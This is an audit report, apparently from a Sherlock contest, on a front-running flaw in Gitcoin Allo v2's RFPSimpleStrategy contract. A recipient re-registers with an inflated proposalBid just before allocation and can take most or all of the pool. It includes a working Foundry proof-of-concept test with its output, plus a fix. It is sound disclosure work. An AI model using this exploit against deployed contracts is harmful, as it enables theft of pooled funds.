Clumsy Pecan Jay

high

# RFP recipient can steal pool funds without supplying all milestones by re-registering before allocation

Due to a missing terms validation at allocation a `recipient` is able to update their `proposalBid`  just before the manager allocates them for the task.

The recipient can steal more then intended funds from the pool or the entire pool while providing only a single milestone 

## Vulnerability Detail

```solidity
    function _registerRecipient(bytes memory _data, address _sender)
        internal
        override
        onlyActivePool
        returns (address recipientId)
    {
--------
        // Get the recipient
        Recipient storage recipient = _recipients[recipientId];

        if (recipient.recipientStatus == Status.None) {
            // If the recipient status is 'None' add the recipient to the '_recipientIds' array
            _recipientIds.push(recipientId);
            emit Registered(recipientId, _data, _sender);
        } else {
            emit UpdatedRegistration(recipientId, _data, _sender);
        }
-------
        recipient.proposalBid = proposalBid;
        recipient.recipientStatus = Status.Pending;
    }
```

As can be seen above, a recipient can update their `proposalBid` as long as thee pool is `active` (before allocation). 

This enable a malicious recipient to change their  `proposalBid`  at the same block as the manager calls `allocate`:
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L395
```solidity
    function _allocate(bytes memory _data, address _sender)
        internal
        virtual
        override
        nonReentrant
        onlyActivePool
        onlyPoolManager(_sender)
    {
        // Decode the '_data'
        acceptedRecipientId = abi.decode(_data, (address));
        Recipient storage recipient = _recipients[acceptedRecipientId];
-----
        // Update status of acceptedRecipientId to accepted
        recipient.recipientStatus = Status.Accepted;

        _setPoolActive(false);
-----
    }
```

As can be seen above - although `allocate` is used to chose the recipient based on the terms, there are no validation of the recipient terms (`proposalBid`) 

After submission the manager will distribute the funds by calling `_distribute`
```solidity
    function _distribute(address[] memory, bytes memory, address _sender)
        internal
        virtual
        override
        onlyInactivePool
        onlyPoolManager(_sender)
    {
-------
        Recipient memory recipient = _recipients[acceptedRecipientId];
-------
        // Calculate the amount to be distributed for the milestone
        uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;

        // Get the pool, subtract the amount and transfer to the recipient
        poolAmount -= amount;
        _transferAmount(pool.token, recipient.recipientAddress, amount);
-------
    }
```

The updated `proposalBid` can be set to a value that will result in an `amount` equal to a higher then intended amount per milestone or the *entire pool amount.

Consider the following scenario:
1. Manager creates an RFP pool with `100 ETH`.
2. Manager sets `two` milestones with `70%` payment for first milestone and `30%` for second.
3. Multiple recipients apply but `Alice` applies with a cheap `proposalBid` of only `20 ETH`.
4. Since `Alice` proposal is cheap, the manager calls `allocate` to chose `Alice`.
5. `Alice` front-runs the call to `allocate` and re-registers updating her `proposalBid` to `100 ETH`. 
6. `Alice` completes the first milestone and submits it and the manager accepts the submission.
7. The manager calls `distribute` to move to the next milestone and pay `Alice` rewards of `14 ETH` however `70 ETH` is sent instead.

*Alice would be able to steal the entire pool if a single milestone is used.

## Impact

Theft of more then intended and potentially all pool funds.

## Code Snippet

Add the following test to `RFPSimpleStratagy.t.sol`
```solidity
    function test_stealPoolFunds() external {
        uint256 poolTotalBeforeFee = 100 ether;
        uint256 percentFee =  (poolTotalBeforeFee * 1e16) / 1e18;
        uint256 poolTotal = poolTotalBeforeFee - percentFee;

        // Fund pool with ~100 ether
        vm.deal(pool_admin(), 100 ether);
        vm.prank(pool_admin());
        allo().fundPool{value: poolTotalBeforeFee}(poolId, poolTotalBeforeFee);

        // Increase max bid to ~100 ether
        vm.prank(pool_admin());
        strategy.increaseMaxBid(poolTotal);

        // Register
        address sender = recipient();
        uint256 recipientFakeProposalBid = 20 ether;
        Metadata memory metadata = Metadata({protocol: 1, pointer: "metadata"});
        bytes memory data = abi.encode(recipientAddress(), false, recipientFakeProposalBid, metadata);
        vm.prank(address(allo()));
        address recipientIdReceived = strategy.registerRecipient(data, sender);

        // Set Milestones
        __setMilestones();

        // Front-run allocate
        data = abi.encode(recipientAddress(), false, poolTotal, metadata);
        vm.prank(address(allo()));
        recipientIdReceived = strategy.registerRecipient(data, sender);

        // Allocate
        vm.prank(address(allo()));
        strategy.allocate(abi.encode(recipientIdReceived), address(pool_admin()));

        // Submit milestone
        vm.prank(recipient());
        strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: "metadata"}));

        // Distribute
        vm.prank(address(allo()));
        strategy.distribute(new address[](0), "", pool_admin());

        // Alice should receive 70% of the poolTotal (~70 eth)
        assertEq(recipientAddress().balance, (poolTotal * 7e17) / 1e18);
    }
```

To execute the test run:
```solidity
forge test --match-test "test_stealPoolFunds" -v
```

Expected output: 
```solidity
Running 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest
[PASS] test_stealPoolFunds() (gas: 607506)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.84ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
## Tool used

Manual Review

## Recommendation

At allocation - The expected `proposalBid` should be part of `data` and be validated
Add the following check:
```solidity
        // Decode the '_data'
        uint256 expectedProposalBid;
        (acceptedRecipientId, expectedProposalBid) = abi.decode(_data, (address, uint256));

        Recipient storage recipient = _recipients[acceptedRecipientId];

        if (acceptedRecipientId == address(0) || recipient.recipientStatus != Status.Pending || recipient.proposalBid != expectedProposalBid ) {
            revert RECIPIENT_ERROR(acceptedRecipientId);
        }
```